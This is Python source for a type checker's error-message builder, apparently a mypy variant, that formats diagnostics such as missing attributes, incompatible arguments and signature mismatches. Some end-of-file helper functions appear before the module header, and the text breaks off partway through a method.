get_bad_protocol_flags(left: Instance, right: Instance ) -> List[Tuple[str, Set[int], Set[int]]]: """Return all incompatible attribute flags for members that are present in both 'left' and 'right'. """ assert right.type.is_protocol all_flags: List[Tuple[str, Set[int], Set[int]]] = [] for member in right.type.protocol_members: if find_member(member, left, left): item = (member, get_member_flags(member, left.type), get_member_flags(member, right.type)) all_flags.append(item) bad_flags = [] for name, subflags, superflags in all_flags: if (IS_CLASSVAR in subflags and IS_CLASSVAR not in superflags or IS_CLASSVAR in superflags and IS_CLASSVAR not in subflags or IS_SETTABLE in superflags and IS_SETTABLE not in subflags or IS_CLASS_OR_STATIC in superflags and IS_CLASS_OR_STATIC not in subflags): bad_flags.append((name, subflags, superflags)) return bad_flags def capitalize(s: str) -> str: """Capitalize the first character of a string.""" if s == '': return '' else: return s[0].upper() + s[1:] def extract_type(name: str) -> str: """If the argument is the name of a method (of form C.m), return the type portion in quotes (e.g. "y"). Otherwise, return the string unmodified. """ name = re.sub('^"[a-zA-Z0-9_]+" of ', '', name) return name def strip_quotes(s: str) -> str: """Strip a double quote at the beginning and end of the string, if any.""" s = re.sub('^"', '', s) s = re.sub('"$', '', s) return s def plural_s(s: Union[int, Sequence[Any]]) -> str: count = s if isinstance(s, int) else len(s) if count > 1: return 's' else: return '' def format_string_list(lst: List[str]) -> str: assert len(lst) > 0 if len(lst) == 1: return lst[0] elif len(lst) <= 5: return '%s and %s' % (', '.join(lst[:-1]), lst[-1]) else: return '%s, ... and %s (%i methods suppressed)' % ( ', '.join(lst[:2]), lst[-1], len(lst) - 3) def format_item_name_list(s: Iterable[str]) -> str: lst = list(s) if len(lst) <= 5: return '(' + ', '.join(['"%s"' % name for name in lst]) + ')' else: return '(' + ', '.join(['"%s"' % name for name in lst[:5]]) + ', ...)' def callable_name(type: FunctionLike) -> Optional[str]: name = type.get_name() if name is not None and name[0] != '<': return '"{}"'.format(name).replace(' of ', '" of "') return name def for_function(callee: CallableType) -> str: name = callable_name(callee) if name is not None: return ' for {}'.format(name) return '' def find_defining_module(modules: Dict[str, MypyFile], typ: CallableType) -> Optional[MypyFile]: if not typ.definition: return None fullname = typ.definition.fullname if fullname is not None and '.' in fullname: for i in range(fullname.count('.')): module_name = fullname.rsplit('.', i + 1)[0] try: return modules[module_name] except KeyError: pass assert False, "Couldn't determine module from CallableType" return None # For hard-coding suggested missing member alternatives. COMMON_MISTAKES: Final[Dict[str, Sequence[str]]] = { 'add': ('append', 'extend'), } def best_matches(current: str, options: Iterable[str]) -> List[str]: ratios = {v: difflib.SequenceMatcher(a=current, b=v).ratio() for v in options} return sorted((o for o in options if ratios[o] > 0.75), reverse=True, key=lambda v: (ratios[v], v)) def pretty_seq(args: Sequence[str], conjunction: str) -> str: quoted = ['"' + a + '"' for a in args] if len(quoted) == 1: return quoted[0] if len(quoted) == 2: return "{} {} {}".format(quoted[0], conjunction, quoted[1]) last_sep = ", " + conjunction + " " return ", ".join(quoted[:-1]) + last_sep + quoted[-1] def append_invariance_notes(notes: List[str], arg_type: Instance, expected_type: Instance) -> List[str]: """Explain that the type is invariant and give notes for how to solve the issue.""" invariant_type = '' covariant_suggestion = '' if (arg_type.type.fullname == 'builtins.list' and expected_type.type.fullname == 'builtins.list' and is_subtype(arg_type.args[0], expected_type.args[0])): invariant_type = 'List' covariant_suggestion = 'Consider using "Sequence" instead, which is covariant' elif (arg_type.type.fullname == 'builtins.dict' and expected_type.type.fullname == 'builtins.dict' and is_same_type(arg_type.args[0], expected_type.args[0]) and is_subtype(arg_type.args[1], expected_type.args[1])): invariant_type = 'Dict' covariant_suggestion = ('Consider using "Mapping" instead, ' 'which is covariant in the value type') if invariant_type and covariant_suggestion: notes.append( '"{}" is invariant -- see '.format(invariant_type) + "https://mypy.readthedocs.io/en/stable/common_issues.html#variance") notes.append(covariant_suggestion) return notes def make_inferred_type_note(context: Context, subtype: Type, supertype: Type, supertype_str: str) -> str: """Explain that the user may have forgotten to type a variable. The user does not expect an error if the inferred container type is the same as the return type of a function and the argument type(s) are a subtype of the argument type(s) of the return type. This note suggests that they add a type annotation with the return type instead of relying on the inferred type. """ subtype = get_proper_type(subtype) supertype = get_proper_type(supertype) if (isinstance(subtype, Instance) and isinstance(supertype, Instance) and subtype.type.fullname == supertype.type.fullname and subtype.args and supertype.args and isinstance(context, ReturnStmt) and isinstance(context.expr, NameExpr) and isinstance(context.expr.node, Var) and context.expr.node.is_inferred): for subtype_arg, supertype_arg in zip(subtype.args, supertype.args): if not is_subtype(subtype_arg, supertype_arg): return '' var_name = context.expr.name return 'Perhaps you need a type annotation for "{}"? Suggestion: {}'.format( var_name, supertype_str) return '' def format_key_list(keys: List[str], *, short: bool = False) -> str: formatted_keys = ['"{}"'.format(key) for key in keys] td = '' if short else 'TypedDict ' if len(keys) == 0: return 'no {}keys'.format(td) elif len(keys) == 1: return '{}key {}'.format(td, formatted_keys[0]) else: return '{}keys ({})'.format(td, ', '.join(formatted_keys))
"""Facilities for generating error messages during type checking. Don't add any non-trivial message construction logic to the type checker, as it can compromise clarity and make messages less consistent. Add such logic to this module instead. Literal messages, including those with format args, should be defined as constants in mypy.message_registry. Historically we tried to avoid all message string literals in the type checker but we are moving away from this convention. """ from contextlib import contextmanager from mypy.backports import OrderedDict import re import difflib from textwrap import dedent from typing import cast, List, Dict, Any, Sequence, Iterable, Iterator, Tuple, Set, Optional, Union from typing_extensions import Final from mypy.erasetype import erase_type from mypy.errors import Errors from mypy.types import ( Type, CallableType, Instance, TypeVarType, TupleType, TypedDictType, LiteralType, UnionType, NoneType, AnyType, Overloaded, FunctionLike, DeletedType, TypeType, UninhabitedType, TypeOfAny, UnboundType, PartialType, get_proper_type, ProperType, ParamSpecType, get_proper_types, TypeStrVisitor ) from mypy.typetraverser import TypeTraverserVisitor from mypy.nodes import ( TypeInfo, Context, MypyFile, FuncDef, reverse_builtin_aliases, ArgKind, ARG_POS, ARG_OPT, ARG_NAMED, ARG_NAMED_OPT, ARG_STAR, ARG_STAR2, ReturnStmt, NameExpr, Var, CONTRAVARIANT, COVARIANT, SymbolNode, CallExpr, IndexExpr, StrExpr, SymbolTable, TempNode, SYMBOL_FUNCBASE_TYPES, MemberExpr, Expression ) from mypy.operators import op_methods, op_methods_to_symbols from mypy.subtypes import ( is_subtype, find_member, get_member_flags, IS_SETTABLE, IS_CLASSVAR, IS_CLASS_OR_STATIC, ) from mypy.sametypes import is_same_type from mypy.typeops import separate_union_literals from mypy.util import unmangle from mypy.errorcodes import ErrorCode from mypy import message_registry, errorcodes as codes import mypy.options TYPES_FOR_UNIMPORTED_HINTS: Final = { 'typing.Any', 'typing.Callable', 'typing.Dict', 'typing.Iterable', 'typing.Iterator', 'typing.List', 'typing.Optional', 'typing.Set', 'typing.Tuple', 'typing.TypeVar', 'typing.Union', 'typing.cast', 'basedtyping.Untyped', } ARG_CONSTRUCTOR_NAMES: Final = { ARG_POS: "Arg", ARG_OPT: "DefaultArg", ARG_NAMED: "NamedArg", ARG_NAMED_OPT: "DefaultNamedArg", ARG_STAR: "VarArg", ARG_STAR2: "KwArg", } # Map from the full name of a missing definition to the test fixture (under # test-data/unit/fixtures/) that provides the definition. This is used for # generating better error messages when running mypy tests only. SUGGESTED_TEST_FIXTURES: Final = { 'builtins.list': 'list.pyi', 'builtins.dict': 'dict.pyi', 'builtins.set': 'set.pyi', 'builtins.tuple': 'tuple.pyi', 'builtins.bool': 'bool.pyi', 'builtins.Exception': 'exception.pyi', 'builtins.BaseException': 'exception.pyi', 'builtins.isinstance': 'isinstancelist.pyi', 'builtins.property': 'property.pyi', 'builtins.classmethod': 'classmethod.pyi', } class MessageBuilder: """Helper class for reporting type checker error messages with parameters. The methods of this class need to be provided with the context within a file; the errors member manages the wider context. IDEA: Support a 'verbose mode' that includes full information about types in error messages and that may otherwise produce more detailed error messages. """ # Report errors using this instance. It knows about the current file and # import context. errors: Errors modules: Dict[str, MypyFile] # Number of times errors have been disabled. disable_count = 0 # Hack to deduplicate error messages from union types disable_type_names_count = 0 def __init__(self, errors: Errors, modules: Dict[str, MypyFile]) -> None: self.errors = errors self.modules = modules self.disable_count = 0 self.disable_type_names_count = 0 # # Helpers # def copy(self) -> 'MessageBuilder': new = MessageBuilder(self.errors.copy(), self.modules) new.disable_count = self.disable_count new.disable_type_names_count = self.disable_type_names_count return new def clean_copy(self) -> 'MessageBuilder': errors = self.errors.copy() errors.error_info_map = OrderedDict() return MessageBuilder(errors, self.modules) def add_errors(self, messages: 'MessageBuilder') -> None: """Add errors in messages to this builder.""" if self.disable_count <= 0: for errs in messages.errors.error_info_map.values(): for info in errs: self.errors.add_error_info(info) @contextmanager def disable_errors(self) -> Iterator[None]: self.disable_count += 1 try: yield finally: self.disable_count -= 1 @contextmanager def disable_type_names(self) -> Iterator[None]: self.disable_type_names_count += 1 try: yield finally: self.disable_type_names_count -= 1 def is_errors(self) -> bool: return self.errors.is_errors() def most_recent_context(self) -> Context: """Return a dummy context matching the most recent generated error in current file.""" line, column = self.errors.most_recent_error_location() node = TempNode(NoneType()) node.line = line node.column = column return node def report(self, msg: str, context: Optional[Context], severity: str, *, code: Optional[ErrorCode] = None, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False) -> None: """Report an error or note (unless disabled).""" if origin is not None: end_line = origin.end_line elif context is not None: end_line = context.end_line else: end_line = None if self.disable_count <= 0: self.errors.report(context.get_line() if context else -1, context.get_column() if context else -1, msg, severity=severity, file=file, offset=offset, origin_line=origin.get_line() if origin else None, end_line=end_line, code=code, allow_dups=allow_dups) def fail(self, msg: str, context: Optional[Context], *, code: Optional[ErrorCode] = None, file: Optional[str] = None, origin: Optional[Context] = None, allow_dups: bool = False) -> None: """Report an error message (unless disabled).""" self.report(msg, context, 'error', code=code, file=file, origin=origin, allow_dups=allow_dups) def note(self, msg: str, context: Context, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False, *, code: Optional[ErrorCode] = None) -> None: """Report a note (unless disabled).""" self.report(msg, context, 'note', file=file, origin=origin, offset=offset, allow_dups=allow_dups, code=code) def note_multiline(self, messages: str, context: Context, file: Optional[str] = None, origin: Optional[Context] = None, offset: int = 0, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: """Report as many notes as lines in the message (unless disabled).""" for msg in messages.splitlines(): self.report(msg, context, 'note', file=file, origin=origin, offset=offset, allow_dups=allow_dups, code=code) # # Specific operations # # The following operations are for generating specific error messages. They # get some information as arguments, and they build an error message based # on them. def has_no_attr(self, original_type: Type, typ: Type, member: str, context: Context, module_symbol_table: Optional[SymbolTable] = None) -> Type: """Report a missing or non-accessible member. original_type is the top-level type on which the error occurred. typ is the actual type that is missing the member. These can be different, e.g., in a union, original_type will be the union and typ will be the specific item in the union that does not have the member attribute. 'module_symbol_table' is passed to this function if the type for which we are trying to get a member was originally a module. The SymbolTable allows us to look up and suggests attributes of the module since they are not directly available on original_type If member corresponds to an operator, use the corresponding operator name in the messages. Return type Any. """ original_type = get_proper_type(original_type) typ = get_proper_type(typ) if (isinstance(original_type, Instance) and original_type.type.has_readable_member(member)): self.fail('Member "{}" is not assignable'.format(member), context) elif member == '__contains__': self.fail('Unsupported right operand type for in ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member in op_methods.values(): # Access to a binary operator member (e.g. _add). This case does # not handle indexing operations. for op, method in op_methods.items(): if method == member: self.unsupported_left_operand(op, original_type, context) break elif member == '__neg__': self.fail('Unsupported operand type for unary - ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__pos__': self.fail('Unsupported operand type for unary + ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__invert__': self.fail('Unsupported operand type for ~ ({})'.format( format_type(original_type)), context, code=codes.OPERATOR) elif member == '__getitem__': # Indexed get. # TODO: Fix this consistently in format_type if isinstance(original_type, CallableType) and original_type.is_type_obj(): self.fail('The type {} is not generic and not indexable'.format( format_type(original_type)), context) else: self.fail('Value of type {} is not indexable'.format( format_type(original_type)), context, code=codes.INDEX) elif member == '__setitem__': # Indexed set. self.fail('Unsupported target for indexed assignment ({})'.format( format_type(original_type)), context, code=codes.INDEX) elif member == '__call__': if isinstance(original_type, Instance) and \ (original_type.type.fullname == 'builtins.function'): # "'function' not callable" is a confusing error message. # Explain that the problem is that the type of the function is not known. self.fail('Cannot call function of unknown type', context, code=codes.OPERATOR) else: self.fail(message_registry.NOT_CALLABLE.format( format_type(original_type)), context, code=codes.OPERATOR) else: # The non-special case: a missing ordinary attribute. extra = '' if member == '__iter__': extra = ' (not iterable)' elif member == '__aiter__': extra = ' (not async iterable)' if not self.disable_type_names_count: failed = False if isinstance(original_type, Instance) and original_type.type.names: alternatives = set(original_type.type.names.keys()) if module_symbol_table is not None: alternatives |= {key for key in module_symbol_table.keys()} # in some situations, the member is in the alternatives set # but since we're in this function, we shouldn't suggest it if member in alternatives: alternatives.remove(member) matches = [m for m in COMMON_MISTAKES.get(member, []) if m in alternatives] matches.extend(best_matches(member, alternatives)[:3]) if member == '__aiter__' and matches == ['__iter__']: matches = [] # Avoid misleading suggestion if member == '__div__' and matches == ['__truediv__']: # TODO: Handle differences in division between Python 2 and 3 more cleanly matches = [] if matches: self.fail( '{} has no attribute "{}"; maybe {}?{}'.format( format_type(original_type), member, pretty_seq(matches, "or"), extra, ), context, code=codes.ATTR_DEFINED) failed = True if not failed: self.fail( '{} has no attribute "{}"{}'.format( format_type(original_type), member, extra), context, code=codes.ATTR_DEFINED) elif isinstance(original_type, UnionType): # The checker passes "object" in lieu of "None" for attribute # checks, so we manually convert it back. typ_format, orig_type_format = format_type_distinctly(typ, original_type) if typ_format == '"object"' and \ any(type(item) == NoneType for item in original_type.items): typ_format = '"None"' self.fail('Item {} of {} has no attribute "{}"{}'.format( typ_format, orig_type_format, member, extra), context, code=codes.UNION_ATTR) elif isinstance(original_type, TypeVarType): bound = get_proper_type(original_type.upper_bound) if isinstance(bound, UnionType): typ_fmt, bound_fmt = format_type_distinctly(typ, bound) original_type_fmt = format_type(original_type) self.fail( 'Item {} of the upper bound {} of type variable {} has no ' 'attribute "{}"{}'.format( typ_fmt, bound_fmt, original_type_fmt, member, extra), context, code=codes.UNION_ATTR) return AnyType(TypeOfAny.from_error) def unsupported_operand_types(self, op: str, left_type: Any, right_type: Any, context: Context, *, code: ErrorCode = codes.OPERATOR) -> None: """Report unsupported operand types for a binary operation. Types can be Type objects or strings. """ left_str = '' if isinstance(left_type, str): left_str = left_type else: left_str = format_type(left_type) right_str = '' if isinstance(right_type, str): right_str = right_type else: right_str = format_type(right_type) if self.disable_type_names_count: msg = 'Unsupported operand types for {} (likely involving Union)'.format(op) else: msg = 'Unsupported operand types for {} ({} and {})'.format( op, left_str, right_str) self.fail(msg, context, code=code) def unsupported_left_operand(self, op: str, typ: Type, context: Context) -> None: if self.disable_type_names_count: msg = 'Unsupported left operand type for {} (some union)'.format(op) else: msg = 'Unsupported left operand type for {} ({})'.format( op, format_type(typ)) self.fail(msg, context, code=codes.OPERATOR) def not_callable(self, typ: Type, context: Context) -> Type: self.fail(message_registry.NOT_CALLABLE.format(format_type(typ)), context) return AnyType(TypeOfAny.from_error) def untyped_function_call(self, callee: CallableType, context: Context) -> Type: name = callable_name(callee) or '(unknown)' self.fail('Call to untyped function {} in typed context'.format(name), context, code=codes.NO_UNTYPED_CALL) return AnyType(TypeOfAny.from_error) def partially_typed_function_call(self, callee: CallableType, context: CallExpr): name = callable_name(callee) or f'"{context.callee.name}"' or '(unknown)' # type: ignore self.fail(f'Call to incomplete function {name} in typed context', context, code=codes.NO_UNTYPED_CALL) self.note(f'Type is "{callee}"', context) def untyped_indexed_assignment(self, context: IndexExpr): # don't care about CallExpr because they are handled by partially_typed_function_call if isinstance(context.base, (NameExpr, MemberExpr)): message = f'Untyped indexed-assignment to "{context.base.name}" in typed context' self.fail(message, context, code=codes.NO_UNTYPED_USAGE) def untyped_name_usage(self, name: Union[str, Expression], context: Context): if isinstance(name, NameExpr): name = name.name elif not isinstance(name, str): self.fail('Usage of untyped name in typed context', context, code=codes.NO_UNTYPED_USAGE) return self.fail(f'Usage of untyped name "{name}" in typed context', context, code=codes.NO_UNTYPED_USAGE) def incompatible_argument(self, n: int, m: int, callee: CallableType, arg_type: Type, arg_kind: ArgKind, object_type: Optional[Type], context: Context, outer_context: Context) -> Optional[ErrorCode]: """Report an error about an incompatible argument type. The argument type is arg_type, argument number is n and the callee type is 'callee'. If the callee represents a method that corresponds to an operator, use the corresponding operator name in the messages. Return the error code that used for the argument (multiple error codes are possible). """ arg_type = get_proper_type(arg_type) target = '' callee_name = callable_name(callee) if callee_name is not None: name = callee_name if callee.bound_args and callee.bound_args[0] is not None: base = format_type(callee.bound_args[0]) else: base = extract_type(name) for method, op in op_methods_to_symbols.items(): for variant in method, '__r' + method[2:]: # FIX: do not rely on textual formatting if name.startswith('"{}" of'.format(variant)): if op == 'in' or variant != method: # Reversed order of base/argument. self.unsupported_operand_types(op, arg_type, base, context, code=codes.OPERATOR) else: self.unsupported_operand_types(op, base, arg_type, context, code=codes.OPERATOR) return codes.OPERATOR if name.startswith('"__cmp__" of'): self.unsupported_operand_types("comparison", arg_type, base, context, code=codes.OPERATOR) return codes.INDEX if name.startswith('"__getitem__" of'): self.invalid_index_type(arg_type, callee.arg_types[n - 1], base, context, code=codes.INDEX) return codes.INDEX if name.startswith('"__setitem__" of'): if n == 1: self.invalid_index_type(arg_type, callee.arg_types[n - 1], base, context, code=codes.INDEX) return codes.INDEX else: msg = '{} (expression has type {}, target has type {})' arg_type_str, callee_type_str = format_type_distinctly(arg_type, callee.arg_types[n - 1]) self.fail(msg.format(message_registry.INCOMPATIBLE_TYPES_IN_ASSIGNMENT, arg_type_str, callee_type_str), context, code=codes.ASSIGNMENT) return codes.ASSIGNMENT target = 'to {} '.format(name) msg = '' code = codes.MISC notes: List[str] = [] if callee_name == '<list>': name = callee_name[1:-1] n -= 1 actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[0]) msg = '{} item {} has incompatible type {}; expected {}'.format( name.title(), n, actual_type_str, expected_type_str) code = codes.LIST_ITEM elif callee_name == '<dict>': name = callee_name[1:-1] n -= 1 key_type, value_type = cast(TupleType, arg_type).items expected_key_type, expected_value_type = cast(TupleType, callee.arg_types[0]).items # don't increase verbosity unless there is need to do so if is_subtype(key_type, expected_key_type): key_type_str = format_type(key_type) expected_key_type_str = format_type(expected_key_type) else: key_type_str, expected_key_type_str = format_type_distinctly( key_type, expected_key_type) if is_subtype(value_type, expected_value_type): value_type_str = format_type(value_type) expected_value_type_str = format_type(expected_value_type) else: value_type_str, expected_value_type_str = format_type_distinctly( value_type, expected_value_type) msg = '{} entry {} has incompatible type {}: {}; expected {}: {}'.format( name.title(), n, key_type_str, value_type_str, expected_key_type_str, expected_value_type_str) code = codes.DICT_ITEM elif callee_name == '<list-comprehension>': actual_type_str, expected_type_str = map(strip_quotes, format_type_distinctly(arg_type, callee.arg_types[0])) msg = 'List comprehension has incompatible type List[{}]; expected List[{}]'.format( actual_type_str, expected_type_str) elif callee_name == '<set-comprehension>': actual_type_str, expected_type_str = map(strip_quotes, format_type_distinctly(arg_type, callee.arg_types[0])) msg = 'Set comprehension has incompatible type Set[{}]; expected Set[{}]'.format( actual_type_str, expected_type_str) elif callee_name == '<dictionary-comprehension>': actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[n - 1]) msg = ('{} expression in dictionary comprehension has incompatible type {}; ' 'expected type {}').format( 'Key' if n == 1 else 'Value', actual_type_str, expected_type_str) elif callee_name == '<generator>': actual_type_str, expected_type_str = format_type_distinctly(arg_type, callee.arg_types[0]) msg = 'Generator has incompatible item type {}; expected {}'.format( actual_type_str, expected_type_str) else: try: expected_type = callee.arg_types[m - 1] except IndexError: # Varargs callees expected_type = callee.arg_types[-1] arg_type_str, expected_type_str = format_type_distinctly( arg_type, expected_type, bare=True) if arg_kind == ARG_STAR: arg_type_str = '*' + arg_type_str elif arg_kind == ARG_STAR2: arg_type_str = '**' + arg_type_str # For function calls with keyword arguments, display the argument name rather than the # number. arg_label = str(n) if isinstance(outer_context, CallExpr) and len(outer_context.arg_names) >= n: arg_name = outer_context.arg_names[n - 1] if arg_name is not None: arg_label = '"{}"'.format(arg_name) if (arg_kind == ARG_STAR2 and isinstance(arg_type, TypedDictType) and m <= len(callee.arg_names) and callee.arg_names[m - 1] is not None and callee.arg_kinds[m - 1] != ARG_STAR2): arg_name = callee.arg_names[m - 1] assert arg_name is not None arg_type_str, expected_type_str = format_type_distinctly( arg_type.items[arg_name], expected_type, bare=True) arg_label = '"{}"'.format(arg_name) if isinstance(outer_context, IndexExpr) and isinstance(outer_context.index, StrExpr): msg = 'Value of "{}" has incompatible type {}; expected {}' .format( outer_context.index.value, quote_type_string(arg_type_str), quote_type_string(expected_type_str)) else: msg = 'Argument {} {}has incompatible type {}; expected {}'.format( arg_label, target, quote_type_string(arg_type_str), quote_type_string(expected_type_str)) object_type = get_proper_type(object_type) if isinstance(object_type, TypedDictType): code = codes.TYPEDDICT_ITEM else: code = codes.ARG_TYPE expected_type = get_proper_type(expected_type) if isinstance(expected_type, UnionType): expected_types = list(expected_type.items) else: expected_types = [expected_type] for type in get_proper_types(expected_types): if isinstance(arg_type, Instance) and isinstance(type, Instance): notes = append_invariance_notes(notes, arg_type, type) self.fail(msg, context, code=code) if notes: for note_msg in notes: self.note(note_msg, context, code=code) return code def incompatible_argument_note(self, original_caller_type: ProperType, callee_type: ProperType, context: Context, code: Optional[ErrorCode]) -> None: if isinstance(original_caller_type, (Instance, TupleType, TypedDictType)): if isinstance(callee_type, Instance) and callee_type.type.is_protocol: self.report_protocol_problems(original_caller_type, callee_type, context, code=code) if isinstance(callee_type, UnionType): for item in callee_type.items: item = get_proper_type(item) if isinstance(item, Instance) and item.type.is_protocol: self.report_protocol_problems(original_caller_type, item, context, code=code) if (isinstance(callee_type, CallableType) and isinstance(original_caller_type, Instance)): call = find_member('__call__', original_caller_type, original_caller_type, is_operator=True) if call: self.note_call(original_caller_type, call, context, code=code) def invalid_index_type(self, index_type: Type, expected_type: Type, base_str: str, context: Context, *, code: ErrorCode) -> None: index_str, expected_str = format_type_distinctly(index_type, expected_type) self.fail('Invalid index type {} for {}; expected type {}'.format( index_str, base_str, expected_str), context, code=code) def too_few_arguments(self, callee: CallableType, context: Context, argument_names: Optional[Sequence[Optional[str]]]) -> None: if argument_names is not None: num_positional_args = sum(k is None for k in argument_names) arguments_left = callee.arg_names[num_positional_args:callee.min_args] diff = [k for k in arguments_left if k not in argument_names] if len(diff) == 1: msg = 'Missing positional argument' else: msg = 'Missing positional arguments' callee_name = callable_name(callee) if callee_name is not None and diff and all(d is not None for d in diff): args = '", "'.join(cast(List[str], diff)) msg += ' "{}" in call to {}'.format(args, callee_name) else: msg = 'Too few arguments' + for_function(callee) else: msg = 'Too few arguments' + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) def missing_named_argument(self, callee: CallableType, context: Context, name: str) -> None: msg = 'Missing named argument "{}"'.format(name) + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) def too_many_arguments(self, callee: CallableType, context: Context) -> None: msg = 'Too many arguments' + for_function(callee) self.fail(msg, context, code=codes.CALL_ARG) self.maybe_note_about_special_args(callee, context) def too_many_arguments_from_typed_dict(self, callee: CallableType, arg_type: TypedDictType, context: Context) -> None: # Try to determine the name of the extra argument. for key in arg_type.items: if key not in callee.arg_names: msg = 'Extra argument "{}" from **args'.format(key) + for_function(callee) break else: self.too_many_arguments(callee, context) return self.fail(msg, context) def too_many_positional_arguments(self, callee: CallableType, context: Context) -> None: msg = 'Too many positional arguments' + for_function(callee) self.fail(msg, context) self.maybe_note_about_special_args(callee, context) def maybe_note_about_special_args(self, callee: CallableType, context: Context) -> None: # https://github.com/python/mypy/issues/11309 first_arg = callee.def_extras.get('first_arg') if first_arg and first_arg not in {'self', 'cls', 'mcs'}: self.note( 'Looks like the first special argument in a method ' 'is not named "self", "cls", or "mcs", ' 'maybe it is missing?', context, ) def unexpected_keyword_argument(self, callee: CallableType, name: str, arg_type: Type, context: Context) -> None: msg = 'Unexpected keyword argument "{}"'.format(name) + for_function(callee) # Suggest intended keyword, look for type match else fallback on any match. matching_type_args = [] not_matching_type_args = [] for i, kwarg_type in enumerate(callee.arg_types): callee_arg_name = callee.arg_names[i] if callee_arg_name is not None and callee.arg_kinds[i] != ARG_STAR: if is_subtype(arg_type, kwarg_type): matching_type_args.append(callee_arg_name) else: not_matching_type_args.append(callee_arg_name) matches = best_matches(name, matching_type_args) if not matches: matches = best_matches(name, not_matching_type_args) if matches: msg += "; did you mean {}?".format(pretty_seq(matches[:3], "or")) self.fail(msg, context, code=codes.CALL_ARG) module = find_defining_module(self.modules, callee) if module: assert callee.definition is not None fname = callable_name(callee) if not fname: # an alias to function with a different name fname = 'Called function' self.note('{} defined here'.format(fname), callee.definition, file=module.path, origin=context, code=codes.CALL_ARG) def duplicate_argument_value(self, callee: CallableType, index: int, context: Context) -> None: self.fail('{} gets multiple values for keyword argument "{}"'. format(callable_name(callee) or 'Function', callee.arg_names[index]), context) def does_not_return_value(self, callee_type: Optional[Type], context: Context) -> None: """Report an error about use of an unusable type.""" name: Optional[str] = None callee_type = get_proper_type(callee_type) if isinstance(callee_type, FunctionLike): name = callable_name(callee_type) if name is not None: self.fail('{} does not return a value'.format(capitalize(name)), context, code=codes.FUNC_RETURNS_VALUE) else: self.fail('Function does not return a value', context, code=codes.FUNC_RETURNS_VALUE) def underscore_function_call(self, context: Context) -> None: self.fail('Calling function named "_" is not allowed', context) def deleted_as_rvalue(self, typ: DeletedType, context: Context) -> None: """Report an error about using an deleted type as an rvalue.""" if typ.source is None: s = "" else: s = ' "{}"'.format(typ.source) self.fail('Trying to read deleted variable{}'.format(s), context) def deleted_as_lvalue(self, typ: DeletedType, context: Context) -> None: """Report an error about using an deleted type as an lvalue. Currently, this only occurs when trying to assign to an exception variable outside the local except: blocks. """ if typ.source is None: s = "" else: s = ' "{}"'.format(typ.source) self.fail('Assignment to variable{} outside except: block'.format(s), context) def no_variant_matches_arguments(self, overload: Overloaded, arg_types: List[Type], context: Context, *, code: Optional[ErrorCode] = None) -> None: code = code or codes.CALL_OVERLOAD name = callable_name(overload) if name: name_str = ' of {}'.format(name) else: name_str = '' arg_types_str = ', '.join(format_type(arg) for arg in arg_types) num_args = len(arg_types) if num_args == 0: self.fail('All overload variants{} require at least one argument'.format(name_str), context, code=code) elif num_args == 1: self.fail('No overload variant{} matches argument type {}' .format(name_str, arg_types_str), context, code=code) else: self.fail('No overload variant{} matches argument types {}' .format(name_str, arg_types_str), context, code=code) self.note( 'Possible overload variant{}:'.format(plural_s(len(overload.items))), context, code=code) for item in overload.items: self.note(pretty_callable(item), context, offset=4, code=code) def wrong_number_values_to_unpack(self, provided: int, expected: int, context: Context) -> None: if provided < expected: if provided == 1: self.fail('Need more than 1 value to unpack ({} expected)'.format(expected), context) else: self.fail('Need more than {} values to unpack ({} expected)'.format( provided, expected), context) elif provided > expected: self.fail('Too many values to unpack ({} expected, {} provided)'.format( expected, provided), context) def unpacking_strings_disallowed(self, context: Context) -> None: self.fail("Unpacking a string is disallowed", context) def type_not_iterable(self, type: Type, context: Context) -> None: self.fail('{} object is not iterable'.format(format_type(type)), context) def incompatible_operator_assignment(self, op: str, context: Context) -> None: self.fail('Result type of {} incompatible in assignment'.format(op), context) def overload_signature_incompatible_with_supertype( self, name: str, name_in_super: str, supertype: str, context: Context) -> None: target = self.override_target(name, name_in_super, supertype) self.fail('Signature of "{}" incompatible with {}'.format( name, target), context, code=codes.OVERRIDE) note_template = 'Overload variants must be defined in the same order as they are in "{}"' self.note(note_template.format(supertype), context, code=codes.OVERRIDE) def signature_incompatible_with_supertype( self, name: str, name_in_super: str, supertype: str, context: Context, original: Optional[FunctionLike] = None, override: Optional[FunctionLike] = None) -> None: code = codes.OVERRIDE target = self.override_target(name, name_in_super, supertype) self.fail('Signature of "{}" incompatible with {}'.format( name, target), context, code=code) INCLUDE_DECORATOR = True # Include @classmethod and @staticmethod decorators, if any ALLOW_DUPS = True # Allow duplicate notes, needed when signatures are duplicates ALIGN_OFFSET = 1 # One space, to account for the difference between error and note OFFSET = 4 # Four spaces, so that notes will look like this: # error: Signature of "f" incompatible with supertype "A" # note: Superclass: # note: def f(self) -> str # note: Subclass: # note: def f(self, x: str) -> None if original is not None and isinstance(original, (CallableType, Overloaded)) \ and override is not None and isinstance(override, (CallableType, Overloaded)): self.note('Superclass:', context, offset=ALIGN_OFFSET + OFFSET, code=code) self.pretty_callable_or_overload(original, context, offset=ALIGN_OFFSET + 2 * OFFSET, add_class_or_static_decorator=INCLUDE_DECORATOR, allow_dups=ALLOW_DUPS, code=code) self.note('Subclass:', context, offset=ALIGN_OFFSET + OFFSET, code=code) self.pretty_callable_or_overload(override, context, offset=ALIGN_OFFSET + 2 * OFFSET, add_class_or_static_decorator=INCLUDE_DECORATOR, allow_dups=ALLOW_DUPS, code=code) def pretty_callable_or_overload(self, tp: Union[CallableType, Overloaded], context: Context, *, offset: int = 0, add_class_or_static_decorator: bool = False, allow_dups: bool = False, code: Optional[ErrorCode] = None) -> None: if isinstance(tp, CallableType): if add_class_or_static_decorator: decorator = pretty_class_or_static_decorator(tp) if decorator is not None: self.note(decorator, context, offset=offset, allow_dups=allow_dups, code=code) self.note(pretty_callable(tp), context, offset=offset, allow_dups=allow_dups, code=code) elif isinstance(tp, Overloaded): self.pretty_overload(tp, context, offset, add_class_or_static_decorator=add_class_or_static_decorator, allow_dups=allow_dups, code=code) def argument_incompatible_with_supertype( self, arg_num: int, name: 